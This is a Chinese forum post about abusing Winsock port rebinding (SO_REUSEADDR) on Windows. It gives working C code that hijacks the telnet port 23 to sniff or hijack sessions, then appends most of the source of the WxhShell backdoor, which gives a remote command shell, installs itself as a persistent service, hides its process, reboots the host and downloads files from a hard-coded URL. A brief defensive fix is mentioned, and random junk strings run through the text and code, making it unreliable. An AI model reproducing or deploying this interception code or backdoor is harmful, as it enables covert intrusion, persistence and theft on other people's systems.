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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Mwdh]I,#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mT N6-V  
\'( @{  
  saddr.sin_family = AF_INET; YJgw%UVJ5m  
JL~QE-pvD  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); b`Wn98s  
?sl 7C gl  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); x}TDb0V  
OHnHSb'?\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $cO"1mu  
aubmA0 w  
  这意味着什么?意味着可以进行如下的攻击: DbSl}N;  
k*bfq?E a  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Uo{h. .7?  
V43pZ]YZ>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) H) g:<  
VQHJ O I  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Vv(!Ki}  
s{q)m@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  { .KCK_ d  
4)=LOGW  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 TQ&%SMCn  
oRM EC7!A0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 od>DSn3T  
fFXG;Q8&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =YX/]g|9K  
]ABpOrg  
  #include 4QWDuLu  
  #include Kb0OauW  
  #include ~CRr)(M  
  #include    %h U8ycI*h  
  DWORD WINAPI ClientThread(LPVOID lpParam);   7BCCQsz<  
  int main() /'1UfjW>  
  { qF6YH  
  WORD wVersionRequested; D={|&:`L e  
  DWORD ret; y(|6`  
  WSADATA wsaData; qs6yEuh#  
  BOOL val; <!:,(V>F(C  
  SOCKADDR_IN saddr; 8k'UEf`'(  
  SOCKADDR_IN scaddr; -@ #b<"1  
  int err; <[xxCW(2  
  SOCKET s; |u)?h] >  
  SOCKET sc; &Pt|  
  int caddsize; EWN$ILdD  
  HANDLE mt; e , zR  
  DWORD tid;   <FH3 ePz  
  wVersionRequested = MAKEWORD( 2, 2 ); bG +p  
  err = WSAStartup( wVersionRequested, &wsaData ); L@?Dmn'v  
  if ( err != 0 ) { lj.z>  
  printf("error!WSAStartup failed!\n"); BQf}S +  
  return -1; h$ M+Yo+  
  } "}D uAs  
  saddr.sin_family = AF_INET; JGIN<J85e  
   Oa~t&s  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 k%QhF]  
@Z!leyam  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [(tgoh/  
  saddr.sin_port = htons(23); tklU zv  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZZTPAmIr  
  { _,b%t1v  
  printf("error!socket failed!\n"); T3['6%  
  return -1; 3y>.1  
  } , j ,[4^  
  val = TRUE; >H@ dgb  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 1rC8] M.N  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ig1cf9 :  
  { 9A\J*OU  
  printf("error!setsockopt failed!\n"); VS^%PM#:/  
  return -1; }jTEgog  
  } Js qze'BGY  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; YP~d1BWvf  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -$;H_B+.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6+IOJtj  
aEX;yy*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1o o'\  
  { sCaw"{5qc  
  ret=GetLastError(); /exV6D r  
  printf("error!bind failed!\n"); {Cs~5jYz  
  return -1; =KNg "|  
  }  <_MQC  
  listen(s,2); qsFA~{o.  
  while(1) MLmc]nL=  
  { =,-80WNsX  
  caddsize = sizeof(scaddr); 6fPuTQ}fY>  
  //接受连接请求 e`R*6^e  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); i>T{s-3v  
  if(sc!=INVALID_SOCKET) +n9&q#ah  
  { ^/R@bp#<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1SkGG0 W  
  if(mt==NULL) dT,X8 "  
  { i[d-n/)  
  printf("Thread Creat Failed!\n"); =0,")aa!  
  break; Rjo6Pd{d<  
  } Du$kDCU  
  } bEbO){Fe  
  CloseHandle(mt); @Sub.z&T{  
  } ]*juF[r(  
  closesocket(s); 4_PMl6qo  
  WSACleanup(); D8h ?s  
  return 0; }<FBcc(n  
  }   S7wZCQe  
  DWORD WINAPI ClientThread(LPVOID lpParam) D.qbzJz  
  { {_3ZKD(\  
  SOCKET ss = (SOCKET)lpParam; uVDB; 6  
  SOCKET sc; 30FYq?  
  unsigned char buf[4096]; RNoS7[&  
  SOCKADDR_IN saddr; ,k{{ZP P  
  long num; 2K, 1wqf'  
  DWORD val; [ $.oyjd  
  DWORD ret; MnKEZ: 2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 jY>KF'y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ErB6fl  
  saddr.sin_family = AF_INET; Ca+d ?IS  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,Q(n(m'  
  saddr.sin_port = htons(23); bLu6|YB  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JS&l h  
  { L)Un9&4L  
  printf("error!socket failed!\n"); y+Q!4A  
  return -1; $g#X9/+<  
  } .eZ4?|at.F  
  val = 100; jc;&g)Rv  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) OD>-^W t;%  
  { ]t0?,q.$7  
  ret = GetLastError(); N Ja]UZx  
  return -1; {+ [rJ_  
  } sdS<-! %u4  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,PRM(n-  
  { Ow/ /#:  
  ret = GetLastError(); X@x: F|/P  
  return -1; ?]kIztH  
  } 4,H}'@Db}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) q7 Uu 8JXF  
  { ?Dd2k%o  
  printf("error!socket connect failed!\n"); hpWAQ#%oHm  
  closesocket(sc); H W.S~eLw*  
  closesocket(ss); qK|r+}g|&  
  return -1; c)@M7UK[  
  } 4CX*  
  while(1) 5I T'u3V  
  { B HZGQm  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }qV4]*+{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 o>U%3-+T^J  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 seAkOIc  
  num = recv(ss,buf,4096,0); + 6r@HK`,t  
  if(num>0) (O&~*7D*  
  send(sc,buf,num,0); XFK$p^qu  
  else if(num==0) tm+}@CM^.  
  break; !n uXK  
  num = recv(sc,buf,4096,0); Q:_pW<^  
  if(num>0) RG*Nw6A  
  send(ss,buf,num,0); s%4)}w;z  
  else if(num==0) !S(jT?'w  
  break; Bu!Gy8\  
  } CoJaVLl  
  closesocket(ss); \,p)  
  closesocket(sc); u#J5M&#  
  return 0 ; *WMcE$w/D  
  } ?0'bf y]  
|C>Yd*E,C  
H7qda' %>  
========================================================== wQ.ild  
;HqK^[1\  
下边附上一个代码,,WXhSHELL f_raICO{R  
dqF--)Nb  
========================================================== 1f[!=p  
#B+2qD>E  
#include "stdafx.h" &k1Ez  
)- 2^Jvc  
#include <stdio.h> OY"{XnPZ  
#include <string.h> /jj}.X7yH  
#include <windows.h> [&+wW  
#include <winsock2.h> jgEiemh&  
#include <winsvc.h> [FyE{NfiJ%  
#include <urlmon.h> 6"_FjS3Sl  
JvHJ*E   
#pragma comment (lib, "Ws2_32.lib") >b{%j8u M  
#pragma comment (lib, "urlmon.lib") 0dIJgKanGP  
|&RdOjw$u  
#define MAX_USER   100 // 最大客户端连接数 ,3fw"P$  
#define BUF_SOCK   200 // sock buffer mGL%<4R,  
#define KEY_BUFF   255 // 输入 buffer NO* 1km[#  
>xP $A{  
#define REBOOT     0   // 重启 EO'3;mo,  
#define SHUTDOWN   1   // 关机 3$HFHUMQsk  
P?TFX.p7  
#define DEF_PORT   5000 // 监听端口 "me J n/  
GueqpEd2  
#define REG_LEN     16   // 注册表键长度 ,qvz:a  
#define SVC_LEN     80   // NT服务名长度 IK %j+UB  
i$og v2J  
// 从dll定义API .4KXe"~E  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R )?8A\<E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6x[gg !;85  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U.wgae].O;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N@j|I* y|  
G e~&Ble  
// wxhshell配置信息 1L &_3}  
struct WSCFG { !Rsx)  
  int ws_port;         // 监听端口 )*s.AFu]7x  
  char ws_passstr[REG_LEN]; // 口令 ~"=nt@M]  
  int ws_autoins;       // 安装标记, 1=yes 0=no `86 9XE  
  char ws_regname[REG_LEN]; // 注册表键名 `?Y/:4  
  char ws_svcname[REG_LEN]; // 服务名 Sl 6}5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &+*jTE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 '>`bp25>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 AV&W&$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no y!aq}YS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]Ff&zBJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^'FY!^dE  
F*I{?NRN1  
}; xQJdt $]U@  
%?RX}37K  
// default Wxhshell configuration Q*KEODR8\  
struct WSCFG wscfg={DEF_PORT, VK ?,8Y  
    "xuhuanlingzhe", Uyi_B.:`  
    1, =cRJtn  
    "Wxhshell", tb@/E  
    "Wxhshell", KZDB\T  
            "WxhShell Service", TR: D  
    "Wrsky Windows CmdShell Service",  "&C'K  
    "Please Input Your Password: ", 4H1s"mP<  
  1, b(~NqV!i  
  "http://www.wrsky.com/wxhshell.exe", V (X)Qu@R  
  "Wxhshell.exe" EW]gG@w]5r  
    }; J@yy2AZnO  
Q) FL|   
// 消息定义模块 g7d)YUc  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $>#PhOC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^QFjBQ-Hai  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t3bDi/m  
char *msg_ws_ext="\n\rExit."; y'E)iI*  
char *msg_ws_end="\n\rQuit."; "=/XIM.  
char *msg_ws_boot="\n\rReboot..."; "$Rl9(}  
char *msg_ws_poff="\n\rShutdown..."; dks0  
char *msg_ws_down="\n\rSave to "; QZ{:#iuig  
.g4bV5ma3  
char *msg_ws_err="\n\rErr!"; Txw,B2e)>  
char *msg_ws_ok="\n\rOK!"; Rmd;u g9  
*M KVm)Iv  
char ExeFile[MAX_PATH]; {d7KJmN  
int nUser = 0; 0HG*KW  
HANDLE handles[MAX_USER]; e@X~F6nP  
int OsIsNt; O'5(L9,  
B V Pf8!-  
SERVICE_STATUS       serviceStatus; KQr=;O\T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5(U.<  
\6@}HFH  
// 函数声明 `CHgTkv  
int Install(void); lYy0   
int Uninstall(void); ]CHMkuP[k  
int DownloadFile(char *sURL, SOCKET wsh); #Q|$&b  
int Boot(int flag); !5=3Y4bg1  
void HideProc(void);  i4Fw+Z  
int GetOsVer(void); ,Xb:f/lB  
int Wxhshell(SOCKET wsl); q .?D{[2  
void TalkWithClient(void *cs); #UGbSOoCtn  
int CmdShell(SOCKET sock); oA42?I ^  
int StartFromService(void); 8SKDL[rN  
int StartWxhshell(LPSTR lpCmdLine); 2Jj`7VH>  
N*o+m~:y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tpCEWdn5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u,'c:RMV  
flmcY7ZV  
// 数据结构和表定义 TYLf..i<  
SERVICE_TABLE_ENTRY DispatchTable[] = qLPI^g,  
{ } 10Dvt>+  
{wscfg.ws_svcname, NTServiceMain}, wePMBL1P*  
{NULL, NULL} w|$;$a7)  
}; JXvHsCd?  
iAXx`>}m  
// 自我安装 DpTQPu9  
int Install(void) TmUn/  
{ s]=kD  
  char svExeFile[MAX_PATH]; r9u*c  
  HKEY key; Zl* HT%-5  
  strcpy(svExeFile,ExeFile); -4HI9Czts  
W;0_@!?mr}  
// 如果是win9x系统,修改注册表设为自启动 U;{VL!  
if(!OsIsNt) { I:Z38xz-[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j&#p&`B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tc# rL   
  RegCloseKey(key); guf+AVPno  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @o>2:D1G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $Y ]*v)}X  
  RegCloseKey(key); E%$FX' 8&  
  return 0; '3<YZWS  
    } i44KTC"sB  
  } ,cj34W`FWq  
} {qh`8  
else { LfK <%(:  
e4?}#6RF  
// 如果是NT以上系统,安装为系统服务 "h)+fAT|,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /j.V0%  
if (schSCManager!=0) QMkLAZ  
{ mWka!lT  
  SC_HANDLE schService = CreateService mk[=3!J  
  ( O0~[]3Y[=  
  schSCManager, =I*"vwc?  
  wscfg.ws_svcname, 7e u7ie6  
  wscfg.ws_svcdisp, EI/_=.d  
  SERVICE_ALL_ACCESS, g:OVAA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xx41Qw>\W  
  SERVICE_AUTO_START, beO*|  
  SERVICE_ERROR_NORMAL, hQX|wWh  
  svExeFile, /~AajLxu3W  
  NULL, P:CwC"z>sS  
  NULL, L18Olu  
  NULL, #<l ;YT8  
  NULL, @n})oAC,  
  NULL d)q{s(<;  
  ); b}k`'++2,  
  if (schService!=0) ?2.< y_1  
  { 0R *!o\y  
  CloseServiceHandle(schService); !f"@pR6  
  CloseServiceHandle(schSCManager); o<%Sr*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R#Ss_y  
  strcat(svExeFile,wscfg.ws_svcname); F5E KWP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b/2t@VlL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _D z4 }:9  
  RegCloseKey(key); q?\3m3GM  
  return 0; y'Wz*}8pr  
    } !&! sn"yD  
  } !o> /gI`  
  CloseServiceHandle(schSCManager); o'Po<I  
} 4UG7{[!+  
} o3%+FWrVTS  
Fet>KacTht  
return 1; &o)j@5Y?  
} L+d_+:w  
Y$% Ze]~  
// 自我卸载 9g " ?`_  
int Uninstall(void) Rrk3EL  
{ uv._N6mj  
  HKEY key; GndF!#?N(  
%hOe `2#$  
if(!OsIsNt) { &{l?j>|TM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (}c}=V  
  RegDeleteValue(key,wscfg.ws_regname); `ZNz Dr  
  RegCloseKey(key); M-0BQs`N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v')T^b F@  
  RegDeleteValue(key,wscfg.ws_regname); ~ dmyS?Or  
  RegCloseKey(key); o- GHAQ  
  return 0; @u$4{sjgf\  
  } /|hKZTZJdN  
} _H@S(!  
} uvZ|6cM  
else { Jf4D">h  
`"/@LUso  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6Pd;I,k  
if (schSCManager!=0) Pm V:J9  
{ {6v+ Dz>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !a4pKN`qLY  
  if (schService!=0) S,qsCnz  
  { _[IN9ZC2G  
  if(DeleteService(schService)!=0) { H?^Poe(=(  
  CloseServiceHandle(schService); qI KVu_  
  CloseServiceHandle(schSCManager); s_p?3bKu  
  return 0; NcFHvK  
  } m<TKy_C`  
  CloseServiceHandle(schService); eV}Ow`~I5  
  } ,zz+s[ZH7O  
  CloseServiceHandle(schSCManager); '6[0NuB  
} r1$ O<3\  
} !J'BAq[x  
o3j4XrK  
return 1; * UBU?  
} 6|["!AUI  
Z*x Q"+\  
// 从指定url下载文件 i>>_S&!9p  
int DownloadFile(char *sURL, SOCKET wsh) A"i40 @+  
{ XeJx/'9o{  
  HRESULT hr; "J7=3$CA  
char seps[]= "/"; ZShRE"`  
char *token; t"JfqD E  
char *file; yj"+!g  
char myURL[MAX_PATH]; 8@Y]dz gjj  
char myFILE[MAX_PATH]; jD'\\jAUdm  
2Vt iL^;5  
strcpy(myURL,sURL); rS8/_'  
  token=strtok(myURL,seps); H8rDG/>^  
  while(token!=NULL) Ws.F=kS>h  
  { I@7^H48\  
    file=token; #.#T+B+9  
  token=strtok(NULL,seps); ZVk_qA%  
  } /oE@F178  
\_CC6J0k  
GetCurrentDirectory(MAX_PATH,myFILE); [y64%|m  
strcat(myFILE, "\\"); d#Ql>PrY  
strcat(myFILE, file); l>H#\MR  
  send(wsh,myFILE,strlen(myFILE),0); bp;b;f>  
send(wsh,"...",3,0); 0ir]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ( *UMpdj  
  if(hr==S_OK) 6# ,2  
return 0; UC\CCDV#^  
else ?0Z?Z3)%w4  
return 1; ST] h NM  
&mp=jGR  
} ebp18_a|  
ixp(^>ZN  
// 系统电源模块 YN.rj-;^+  
int Boot(int flag) L+(5`Y  
{ Vw<=& w#K  
  HANDLE hToken; 9<G-uF  
  TOKEN_PRIVILEGES tkp; j[ kg9z  
M&:[3u-  
  if(OsIsNt) { Ihw^g <X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gW$X8ECX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `o)rAD^e  
    tkp.PrivilegeCount = 1; %F]4)XeW-+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K;k&w; j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q0SYV  
if(flag==REBOOT) { $0+AR)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {D 9m// x  
  return 0; G;>b}\Ng  
} 9jCn|+  
else { >01&3-r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'UUIY$V[  
  return 0; n&p i  
} ,n-M!y  
  } :Fm;0R@/k  
  else { N/4`afiV.  
if(flag==REBOOT) { )t0Y-),vA  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H?m9HBDpn  
  return 0; U4w^eWzP  
} &k+ jVymH  
else { /YKg.DA|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [daUtKz  
  return 0; q5p!Ty"  
} ,73J#  
} s9>-Q"(y  
 ") q  
return 1; LK-2e$1  
} )Gi!wm>zvN  
 <]2X~+v  
// win9x进程隐藏模块 96fbMP+7R  
void HideProc(void) kn:X^mDXC/  
{ ?>92OuG%W?  
^7G@CBic"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f!|7j}3  
  if ( hKernel != NULL ) 8' M4 3n  
  { ]DHB'NOh,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u!S^lV@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ('hr;s=  
    FreeLibrary(hKernel); R7+3$F5B  
  } p%/Z  
LZG?M|(6D  
return; _lcx?IV  
} ^`XQ>-wWue  
V^sZXdDNL  
// 获取操作系统版本 e`27 ?  
int GetOsVer(void) qb'4x){  
{ h mC. 5mY  
  OSVERSIONINFO winfo; Ka%u#};  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); KzZ|{ !C  
  GetVersionEx(&winfo); HC_+7O3A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "#Qqwsw7  
  return 1; Ro\ U T64  
  else Lq : !?)I  
  return 0; O10,h(O  
} #fk#RNt  
j?<>y/IR  
// 客户端句柄模块 uQk}  
int Wxhshell(SOCKET wsl) 1U[Q)(P  
{ <H03i"Z/S  
  SOCKET wsh; }#]2u| G  
  struct sockaddr_in client; Ac{"$P`  
  DWORD myID; jrJ!A(<)  
u*u3<YQ  
  while(nUser<MAX_USER) 6AD#x7drj  
{ X` r~cc  
  int nSize=sizeof(client); P_6JweN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fhp\of/@ R  
  if(wsh==INVALID_SOCKET) return 1; 1- Jd Qs6  
^Y[.-MJt+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hA 1_zKZ  
if(handles[nUser]==0) !6.}{6b  
  closesocket(wsh); }rK9M$2]u  
else U?]}K S;6  
  nUser++; Y<0}z>^  
  } nsW #  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); moz*=a  
!(2rU@.  
  return 0; sa6/$  
} 4OX|pa  
TC[(mf:8  
// 关闭 socket b{4@ ~>i  
void CloseIt(SOCKET wsh) +OEqDXR+_  
{ nbd-f6F6  
closesocket(wsh); Ilf;Q(*$>>  
nUser--; w1>uD]  
ExitThread(0); X$mCn#8m  
} %?  87#|  
`_"F7Czn  
// 客户端请求句柄 .l1uqCuB  
void TalkWithClient(void *cs) re}_+sv U  
{ AIN Fv;  
\; #T.@c5  
  SOCKET wsh=(SOCKET)cs; iwM$U( 9  
  char pwd[SVC_LEN]; J[0o 6  
  char cmd[KEY_BUFF]; r2!\Ts5v  
char chr[1]; H 5\k`7R  
int i,j; hJ|zX  
uUmkk  
  while (nUser < MAX_USER) { -]hk2Q0  
vT1StOx<V  
if(wscfg.ws_passstr) { iG+hj:5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k9Pwf"m|](  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gs/ i%O  
  //ZeroMemory(pwd,KEY_BUFF); g_8A1lt  
      i=0; e97Ll=>  
  while(i<SVC_LEN) { ZhvZe/  
o,(]w kF  
  // 设置超时 GQ -fEIi{  
  fd_set FdRead; WZh%iuI{C  
  struct timeval TimeOut; )SjhOvm  
  FD_ZERO(&FdRead); -2DvKW$  
  FD_SET(wsh,&FdRead); +wPXDN#R  
  TimeOut.tv_sec=8; ;zF3e&e(  
  TimeOut.tv_usec=0; JJE?!Yvc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <A~a|A-QFR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r3OR7f[  
vIzREu|5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `PoFKtVX M  
  pwd=chr[0]; PPpq"c  
  if(chr[0]==0xd || chr[0]==0xa) { IJ[r!&PY  
  pwd=0; |^:qJ;dOP  
  break; 3:]c>GPQ  
  } pHNo1-k\  
  i++; Z(h.)$yH*=  
    } Wxeg(L}E  
c;6[lv  
  // 如果是非法用户,关闭 socket s^\ *jZ6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A.YXK%A%  
} E&z`BPd  
Vf*Z}'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); or<n[<D-C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iY[+BI:  
! )x2   
while(1) { W[VbFsI&b  
}w_r(g?\  
  ZeroMemory(cmd,KEY_BUFF); dilom#2l  
<@4 48,9&  
      // 自动支持客户端 telnet标准   _/c1b>kcso  
  j=0; K`vc&uf  
  while(j<KEY_BUFF) { d94 Le/E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  B=d :r  
  cmd[j]=chr[0]; /}kG$ ~  
  if(chr[0]==0xa || chr[0]==0xd) { qdCcMcGt  
  cmd[j]=0; y3+iADo.p  
  break; L ^E#"f  
  } VZ3{$0 +  
  j++; Y?'Krw `  
    } tEam6xNf,  
ATG;*nIP  
  // 下载文件 E3vYVuw  
  if(strstr(cmd,"http://")) { '$q=r x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kfW"vI+d  
  if(DownloadFile(cmd,wsh)) Vu= e|A#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); je#OV,uHM  
  else !E@4^A80\W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UURYK~$K:  
  } `qs[a}%'>"  
  else { oE.59dx  
,'Sj:l  
    switch(cmd[0]) { '_~qAx@F#c  
  "h`oT4j5q  
  // 帮助 Kj{(jT  
  case '?': { xQ0.2[*5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B?gFFU61  
    break; @,^c?v  
  } EGMIw?%Y`-  
  // 安装 jY1^I26E  
  case 'i': { uB1>.Pvxb  
    if(Install()) zB68%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Da3Z>/S  
    else VFI\2n`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I<+i87=  
    break; EA``G8Vn>  
    } +bDBc?HZ{$  
  // 卸载 ;@<Rh^g]  
  case 'r': { rNN ,!  
    if(Uninstall()) 3YO %$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H.)Y*zK0.  
    else ;O~k{5.iS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e2_p7   
    break; dJ(<zz+;b  
    } ]8+ D  
  // 显示 wxhshell 所在路径 <L'6CBbP  
  case 'p': { Q)[DSM  
    char svExeFile[MAX_PATH]; qokCVI-\  
    strcpy(svExeFile,"\n\r"); Liv.i;-qE  
      strcat(svExeFile,ExeFile); !)4'[5t"U  
        send(wsh,svExeFile,strlen(svExeFile),0); IQ\5!e  
    break; $n= w  
    } Y/<`C  
  // 重启  P y!$r  
  case 'b': { Z{}+7P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wLa8&E[  
    if(Boot(REBOOT)) y2M]z:Y U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aoHAB<.C  
    else { 5"9 '=LV~  
    closesocket(wsh); SpC6dkxD\  
    ExitThread(0); 34F;mr"yp  
    } jB"IJ$cD  
    break; q|ZzGEj:OV  
    } +~n4</  
  // 关机 2|A?9aE%0  
  case 'd': { A}4 ",  
